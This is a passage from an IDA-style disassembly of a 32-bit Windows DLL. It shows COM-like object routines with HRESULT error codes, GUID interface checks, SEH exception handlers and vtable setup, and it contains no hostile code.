		call	dword ptr [ecx+8]


loc_69B4326A:				; CODE XREF: sub_69B4311C+BDj
					; sub_69B4311C+C5j
		cmp	[ebp-30h], ebx
		jnz	short loc_69B43215
		mov	esi, 8007000Eh
		jmp	short loc_69B432A3
; ---------------------------------------------------------------------------


loc_69B43276:				; DATA XREF: .text:69B4330Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4327F:				; DATA XREF: .text:69B43310o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx
		jmp	short loc_69B432A3
; ---------------------------------------------------------------------------


loc_69B4329E:				; CODE XREF: sub_69B4311C+43j
					; sub_69B4311C+57j ...
		mov	esi, 80070057h


loc_69B432A3:				; CODE XREF: sub_69B4311C+84j
					; sub_69B4311C+8Dj ...
		mov	eax, [ebp-30h]
		cmp	eax, ebx
		jz	short loc_69B432B0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B432B0:				; CODE XREF: sub_69B4311C+18Cj
		mov	eax, [ebp-34h]
		cmp	eax, ebx
		jz	short loc_69B432BD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B432BD:				; CODE XREF: sub_69B4311C+199j
		mov	eax, [ebp-40h]
		cmp	eax, ebx
		jz	short loc_69B432CA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B432CA:				; CODE XREF: sub_69B4311C+1A6j
		mov	eax, [ebp-3Ch]
		cmp	eax, ebx
		jz	short loc_69B432D7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B432D7:				; CODE XREF: sub_69B4311C+1B3j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B432EA:				; CODE XREF: sub_69B4311C+20j
		call	sub_69B1853C
		retn	18h
sub_69B4311C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B432F4	dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8h, 90909090h
					; DATA XREF: sub_69B4311C:loc_69B431B2o
dword_69B43308	dd 0FFFFFFFFh			dd offset loc_69B43276
		dd offset loc_69B4327F

; =============== S U B	R O U T	I N E =======================================



sub_69B43314	proc near		; CODE XREF: sub_69B14AA8+12p
					; sub_69B14B8C+12p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		xor	ecx, ecx
		lea	eax, [edi+4]
		mov	[eax], ecx
		lea	esi, [edi+8]
		mov	[esi+4], ecx
		push	eax
		mov	[esi+0Ch], ecx
		call	sub_69B17320
		mov	ecx, esi
		call	sub_69B42674
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B43314	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43340	proc near		; CODE XREF: sub_69B43B07+13Ap
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_69B42764
		add	esi, 4
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B43340	endp

; ---------------------------------------------------------------------------


loc_69B43356:				; CODE XREF: .text:69B43B4Dj
					; .text:69B43B57j
					; DATA XREF: ...
		push	20h
		push	offset dword_69B43440
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B43379
		mov	eax, 80004005h
		jmp	loc_69B43431
; ---------------------------------------------------------------------------


loc_69B43379:				; CODE XREF: .text:69B4336Dj
		mov	ebx, [ebp+8]
		lea	ecx, [ebx+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		push	4
		pop	ecx
		mov	edi, offset dword_69B25E04
		mov	esi, [ebp+0Ch]
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B433B6
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		mov	eax, [ebp+10h]
		mov	[eax], ebx
		and	dword ptr [ebp-2Ch], 0
		jmp	short loc_69B43419
; ---------------------------------------------------------------------------


loc_69B433B6:				; CODE XREF: .text:69B433A3j
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFD0
		mov	esi, [ebp+0Ch]
		xor	eax, eax
		repe cmpsd
		push	dword ptr [ebp+10h]
		jnz	short loc_69B433D2
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B43416
; ---------------------------------------------------------------------------


loc_69B433D2:				; CODE XREF: .text:69B433C8j
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_69B3B7BC
		mov	[ebp-30h], eax
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-30h]
		jmp	short loc_69B43431
; ---------------------------------------------------------------------------


loc_69B433F8:				; DATA XREF: .text:69B43444o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B43401:				; DATA XREF: .text:69B43448o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B43416:				; CODE XREF: .text:69B433D0j
		mov	[ebp-2Ch], eax


loc_69B43419:				; CODE XREF: .text:69B433B4j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B43431:				; CODE XREF: .text:69B43374j
					; .text:69B433F6j
		call	sub_69B1853C
		retn	0Ch
; ---------------------------------------------------------------------------
		align 10h
dword_69B43440	dd 0FFFFFFFFh			dd offset loc_69B433F8
		dd offset loc_69B43401
; ---------------------------------------------------------------------------


loc_69B4344C:				; CODE XREF: .text:69B43C23j
					; .text:69B43C2Dj
					; DATA XREF: ...
		push	20h
		push	offset dword_69B43540
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B4346F
		mov	eax, 80004005h
		jmp	loc_69B43527
; ---------------------------------------------------------------------------


loc_69B4346F:				; CODE XREF: .text:69B43463j
		mov	ebx, [ebp+8]
		lea	ecx, [ebx+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		push	4
		pop	ecx
		mov	edi, offset dword_69B43530
		mov	esi, [ebp+0Ch]
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B434AC
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		mov	eax, [ebp+10h]
		mov	[eax], ebx
		and	dword ptr [ebp-2Ch], 0
		jmp	short loc_69B4350F
; ---------------------------------------------------------------------------


loc_69B434AC:				; CODE XREF: .text:69B43499j
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFD0
		mov	esi, [ebp+0Ch]
		xor	eax, eax
		repe cmpsd
		push	dword ptr [ebp+10h]
		jnz	short loc_69B434C8
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+40h]
		jmp	short loc_69B4350C
; ---------------------------------------------------------------------------


loc_69B434C8:				; CODE XREF: .text:69B434BEj
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_69B3B7BC
		mov	[ebp-30h], eax
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-30h]
		jmp	short loc_69B43527
; ---------------------------------------------------------------------------


loc_69B434EE:				; DATA XREF: .text:69B43544o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B434F7:				; DATA XREF: .text:69B43548o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B4350C:				; CODE XREF: .text:69B434C6j
		mov	[ebp-2Ch], eax


loc_69B4350F:				; CODE XREF: .text:69B434AAj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B43527:				; CODE XREF: .text:69B4346Aj
					; .text:69B434ECj
		call	sub_69B1853C
		retn	0Ch
; ---------------------------------------------------------------------------
		align 10h
dword_69B43530	dd 2933BF83h, 11D27B36h, 0C0000EB2h, 603E984Fh					; .data:off_69B9904Co
dword_69B43540	dd 0FFFFFFFFh			dd offset loc_69B434EE
		dd offset loc_69B434F7

; =============== S U B	R O U T	I N E =======================================



sub_69B4354C	proc near		; CODE XREF: sub_69B43B66+8p
		push	1Ch
		push	offset dword_69B435D0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B4356E
		mov	eax, 80004005h
		jmp	short loc_69B435C1
; ---------------------------------------------------------------------------


loc_69B4356E:				; CODE XREF: sub_69B4354C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+4]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B3FC21
		mov	[ebp-4], edi
		lea	ecx, [esi+8]
		call	sub_69B42674
		jmp	short loc_69B435AA
; ---------------------------------------------------------------------------


loc_69B4358A:				; DATA XREF: .text:69B435D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B43593:				; DATA XREF: .text:69B435D8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B435AA:				; CODE XREF: sub_69B4354C+3Cj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B435C1:				; CODE XREF: sub_69B4354C+20j
		call	sub_69B1853C
		retn	4
sub_69B4354C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B435D0	dd 0FFFFFFFFh			dd offset loc_69B4358A
		dd offset loc_69B43593

; =============== S U B	R O U T	I N E =======================================



sub_69B435DC	proc near		; DATA XREF: .text:69B14C40o
		push	40h
		push	offset dword_69B43778
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jz	short loc_69B4366B
		and	dword ptr [ebp-20h], 0
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_69B43747
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	ebx, eax
		mov	[ebp-24h], ebx
		test	ebx, ebx
		jz	loc_69B43747
		mov	esi, [ebp+8]
		mov	eax, [esi+34h]
		xor	ecx, ecx
		mov	cl, [ebx+0Bh]
		and	ecx, 1Fh
		cmp	ecx, eax
		jnz	loc_69B43747
		cmp	eax, 0Fh
		jnz	loc_69B43747
		mov	eax, [esi+20h]
		test	eax, eax
		jnz	short loc_69B4364C
		mov	dword ptr [ebp-20h], 1
		jmp	loc_69B4374E
; ---------------------------------------------------------------------------


loc_69B4364C:				; CODE XREF: sub_69B435DC+62j
		push	eax
		push	edi
		lea	ecx, [ebp-38h]
		call	sub_69B3FBF7
		cmp	byte ptr [ebp-34h], 0
		jnz	short loc_69B43675
		lea	ecx, [ebp-38h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B4366B:				; CODE XREF: sub_69B435DC+19j
		mov	eax, 80004005h
		jmp	loc_69B4376A
; ---------------------------------------------------------------------------


loc_69B43675:				; CODE XREF: sub_69B435DC+7Ej
		and	dword ptr [ebp-4], 0
		mov	edi, [esi+20h]
		mov	[ebp-3Ch], edi
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		mov	ebx, eax
		mov	[ebp-40h], ebx
		push	0
		push	dword ptr [esi+34h]
		push	ebx
		mov	ecx, edi
		call	sub_69B49E5A
		mov	[ebp-44h], eax
		test	eax, eax
		jnz	short loc_69B436DC
		cmp	dword ptr [esi+34h], 0Fh
		jnz	short loc_69B436D8
		mov	ecx, [ebx+0Ch]
		mov	[ebp-48h], ecx
		test	ecx, ecx
		jnz	short loc_69B436D8
		mov	ebx, [ebx+8]
		mov	[ebp-4Ch], ebx
		mov	ebx, [ebx+14h]
		mov	[ebp-50h], ebx
		cmp	ebx, dword_69B95A6C
		jnz	short loc_69B436D8
		push	ecx
		push	0Fh
		push	1Eh
		call	sub_69B3DA47
		push	eax
		mov	ecx, edi
		call	sub_69B49C1F
		mov	[ebp-44h], eax


loc_69B436D8:				; CODE XREF: sub_69B435DC+C7j
					; sub_69B435DC+D1j ...
		test	eax, eax
		jz	short loc_69B436F1


loc_69B436DC:				; CODE XREF: sub_69B435DC+C1j
		cmp	dword ptr [esi+34h], 0Fh
		setz	cl
		push	ecx
		push	eax
		push	dword ptr [ebp-24h]
		mov	ecx, edi
		call	sub_69B3D556
		jmp	short loc_69B43705
; ---------------------------------------------------------------------------


loc_69B436F1:				; CODE XREF: sub_69B435DC+FEj
		cmp	dword ptr [esi+34h], 0Fh
		setz	al
		push	eax
		push	0
		push	dword ptr [ebp-24h]
		mov	ecx, edi
		call	sub_69B3D53E


loc_69B43705:				; CODE XREF: sub_69B435DC+113j
		mov	esi, [ebp+10h]
		test	esi, esi
		jz	short loc_69B43739
		mov	ecx, [ebp-24h]
		call	sub_69B48B01
		mov	[esi], eax
		jmp	short loc_69B43739
; ---------------------------------------------------------------------------


loc_69B43718:				; DATA XREF: .text:69B4377Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B43721:				; DATA XREF: .text:69B43780o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B43739:				; CODE XREF: sub_69B435DC+12Ej
					; sub_69B435DC+13Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-38h]
		call	sub_69B4637D
		jmp	short loc_69B4374E
; ---------------------------------------------------------------------------


loc_69B43747:				; CODE XREF: sub_69B435DC+23j
					; sub_69B435DC+38j ...
		mov	dword ptr [ebp-20h], 80070057h


loc_69B4374E:				; CODE XREF: sub_69B435DC+6Bj
					; sub_69B435DC+169j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_69B4375E
		mov	eax, [ebp+10h]
		test	eax, eax
		jz	short loc_69B4375E
		and	dword ptr [eax], 0


loc_69B4375E:				; CODE XREF: sub_69B435DC+176j
					; sub_69B435DC+17Dj
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-20h]


loc_69B4376A:				; CODE XREF: sub_69B435DC+94j
		call	sub_69B1853C
		retn	0Ch
sub_69B435DC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B43778	dd 0FFFFFFFFh			dd offset loc_69B43718
		dd offset loc_69B43721

; =============== S U B	R O U T	I N E =======================================



sub_69B43784	proc near		; CODE XREF: sub_69B14AA8+4p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B98EC8
		push	off_69B98ECC
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B43784	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B437A5	proc near		; CODE XREF: sub_69B14B8C+4p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B99048
		push	off_69B9904C
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B437A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B437C6	proc near		; CODE XREF: sub_69B4399D+5p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B99610
		push	off_69B99614
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B437C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B437E7	proc near		; CODE XREF: sub_69B438E3+75p
					; sub_69B592CE+17p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_69B1B42A
		push	eax
		mov	ecx, esi
		call	sub_69B40DD4
		push	[esp+4+arg_0]
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B124F8
		mov	dword ptr [esi+4], offset off_69B27FF8
		mov	dword ptr [esi+0Ch], offset off_69B27FF4
		mov	dword ptr [esi+18h], offset off_69B27FB8
		mov	[esi+1Ch], eax
		mov	[esi+24h], eax
		mov	ecx, esi
		mov	[esi+20h], eax
		call	sub_69B46A32
		mov	eax, esi
		pop	esi
		retn	4
sub_69B437E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B43832	proc near		; DATA XREF: .text:69B27FD8o
					; .text:69B28E08o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	offset dword_69B98AD4
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B43832	endp

; ---------------------------------------------------------------------------


loc_69B43861:				; DATA XREF: .text:off_69B27FF8o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B40F87

; =============== S U B	R O U T	I N E =======================================



sub_69B4386B	proc near		; DATA XREF: .text:69B28000o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B40E6F
sub_69B4386B	endp

; ---------------------------------------------------------------------------


loc_69B43875:				; DATA XREF: .text:off_69B27FB8o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B40F87

; =============== S U B	R O U T	I N E =======================================



sub_69B4387F	proc near		; DATA XREF: .text:69B27FC0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B40E6F
sub_69B4387F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43889	proc near		; DATA XREF: .text:69B27FCCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B4107B
sub_69B43889	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43893	proc near		; DATA XREF: .text:69B27FD0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B41180
sub_69B43893	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4389D	proc near		; CODE XREF: sub_69B4397E+3p
					; sub_69B59833+44p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-0Ch]
		mov	dword ptr [ecx], offset	off_69B124F8
		mov	dword ptr [esi-8], offset off_69B27FF8
		mov	dword ptr [esi], offset	off_69B27FF4
		mov	dword ptr [esi+0Ch], offset off_69B27FB8
		call	sub_69B40E63
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		add	esi, 10h
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B4389D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B438E3	proc near		; CODE XREF: sub_69B48B01+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		call	sub_69B17275
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		and	esi, 4
		mov	ebx, offset dword_69B95AA0
		jnz	short loc_69B43909
		mov	ebx, offset dword_69B95A90


loc_69B43909:				; CODE XREF: sub_69B438E3+1Fj
		and	[ebp+var_4], 0


loc_69B4390D:				; CODE XREF: sub_69B438E3+48j
		cmp	dword ptr [ebx], 0
		jz	short loc_69B43921
		push	0		; Value
		push	ebx		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B4392F


loc_69B43921:				; CODE XREF: sub_69B438E3+2Dj
		add	ebx, 4
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 4
		jl	short loc_69B4390D
		jmp	short loc_69B43944
; ---------------------------------------------------------------------------


loc_69B4392F:				; CODE XREF: sub_69B438E3+3Cj
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_69B46A32
		call	sub_69B1E031


loc_69B43944:				; CODE XREF: sub_69B438E3+4Aj
		test	edi, edi
		jnz	short loc_69B43975
		push	28h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B43961
		push	[ebp+arg_0]
		mov	ecx, eax
		call	sub_69B437E7
		mov	edi, eax
		jmp	short loc_69B43963
; ---------------------------------------------------------------------------


loc_69B43961:				; CODE XREF: sub_69B438E3+6Ej
		xor	edi, edi


loc_69B43963:				; CODE XREF: sub_69B438E3+7Cj
		test	edi, edi
		jz	short loc_69B43975
		mov	eax, [edi+14h]
		and	eax, 0FFFFFFFAh
		or	eax, esi
		or	eax, 2
		mov	[edi+14h], eax


loc_69B43975:				; CODE XREF: sub_69B438E3+63j
					; sub_69B438E3+82j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B438E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4397E	proc near		; DATA XREF: .text:off_69B27FF4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B4389D
		test	[esp+4+arg_0], 1
		jz	short loc_69B43996
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B43996:				; CODE XREF: sub_69B4397E+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B4397E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4399D	proc near		; CODE XREF: sub_69B5562F+24p
					; sub_69B55D24+8Cp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B437C6
		xor	ebx, ebx
		mov	dword ptr [esi], offset	off_69B125A8
		mov	dword ptr [esi+4], offset off_69B28068
		mov	dword ptr [esi+0Ch], offset off_69B28064
		mov	dword ptr [esi+18h], offset off_69B28028
		mov	dword ptr [esi+1Ch], offset off_69B28018
		mov	dword ptr [esi+20h], offset off_69B28008
		mov	[esi+24h], ebx
		lea	edi, [esi+28h]
		mov	[edi], ebx
		mov	[esi+34h], ebx
		push	ebx
		mov	[esi+3Ch], ebx
		push	5
		mov	[esi+40h], ebx
		call	sub_69B8A458
		push	eax
		push	edi
		call	sub_69B17320
		or	dword ptr [esi+30h], 0FFFFFFFFh
		pop	edi
		mov	[esi+2Ch], bl
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_69B4399D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B439FF	proc near		; DATA XREF: .text:69B28020o
		mov	al, 1
		retn	4
sub_69B439FF	endp

; ---------------------------------------------------------------------------


loc_69B43A04:				; DATA XREF: .text:off_69B28064o
		push	esi
		mov	esi, ecx
		call	sub_69B55714
		test	byte ptr [esp+8], 1
		jz	short loc_69B43A1C
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B43A1C:				; CODE XREF: .text:69B43A11j
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B43A23(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B43A23	proc near		; DATA XREF: .text:69B28044o

strIn		= dword	ptr  8
arg_8		= dword	ptr  0Ch
psz2		= dword	ptr  10h

		push	[esp+psz2]	; psz2
		push	[esp+4+arg_8]	; int
		push	[esp+8+strIn]	; strIn
		push	1		; char
		push	offset dword_69B99610 ;	int
		call	sub_69B2CFAA
		retn	10h
sub_69B43A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B43A3E	proc near		; DATA XREF: .text:69B28048o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	offset dword_69B99610
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B43A3E	endp

; ---------------------------------------------------------------------------


loc_69B43A6D:				; DATA XREF: .text:off_69B28068o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B54E00
; ---------------------------------------------------------------------------


loc_69B43A77:				; DATA XREF: .text:off_69B28028o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B54E00

; =============== S U B	R O U T	I N E =======================================



sub_69B43A81	proc near		; DATA XREF: .text:69B28024o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B54F74
sub_69B43A81	endp

; ---------------------------------------------------------------------------


loc_69B43A8B:				; DATA XREF: .text:off_69B28008o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B54E00
; ---------------------------------------------------------------------------


loc_69B43A95:				; DATA XREF: .text:69B2800Co
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B1F56C
; ---------------------------------------------------------------------------


loc_69B43A9F:				; DATA XREF: .text:69B28010o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B7793E
; ---------------------------------------------------------------------------


loc_69B43AA9:				; DATA XREF: .text:off_69B14B74o
					; .text:off_69B14C64o
		mov	ecx, [esp+4]
		test	ecx, ecx
		jz	short loc_69B43AB8
		call	sub_69B48B01
		jmp	short locret_69B43ABA
; ---------------------------------------------------------------------------


loc_69B43AB8:				; CODE XREF: .text:69B43AAFj
		xor	eax, eax

locret_69B43ABA:			; CODE XREF: .text:69B43AB6j
		retn	4
; ---------------------------------------------------------------------------


loc_69B43ABD:				; DATA XREF: .text:69B14B14o
		push	dword ptr [esp+10h]
		push	dword ptr [esp+10h]
		push	dword ptr [esp+10h]
		push	1
		push	offset dword_69B98EC8
		call	sub_69B2CFAA
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B43AD8	proc near		; DATA XREF: .text:69B14B18o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	offset dword_69B98EC8
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B43AD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43B07	proc near		; DATA XREF: .text:69B14B84o
					; .text:69B14C74o

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 69B43C32 SIZE 00000030 BYTES

		sub	ecx, 10h
		jmp	loc_69B43C32
sub_69B43B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43B0F	proc near		; DATA XREF: .text:69B14B78o
					; .text:69B14C68o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		mov	eax, [ecx+4]
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx+14h]
		retn	4
sub_69B43B0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B43B1F	proc near		; DATA XREF: .text:69B14B7Co
					; .text:69B14C6Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	al, 1
		push	esi
		jnz	short loc_69B43B41
		test	eax, eax
		mov	esi, [ecx+4]
		jz	short loc_69B43B41
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0F4h]
		cmp	esi, eax
		jz	short loc_69B43B41
		xor	eax, eax
		jmp	short loc_69B43B44
; ---------------------------------------------------------------------------


loc_69B43B41:				; CODE XREF: sub_69B43B1F+7j
					; sub_69B43B1F+Ej ...
		xor	eax, eax
		inc	eax


loc_69B43B44:				; CODE XREF: sub_69B43B1F+20j
		pop	esi
		retn	4
sub_69B43B1F	endp

; ---------------------------------------------------------------------------


loc_69B43B48:				; DATA XREF: .text:off_69B14B34o
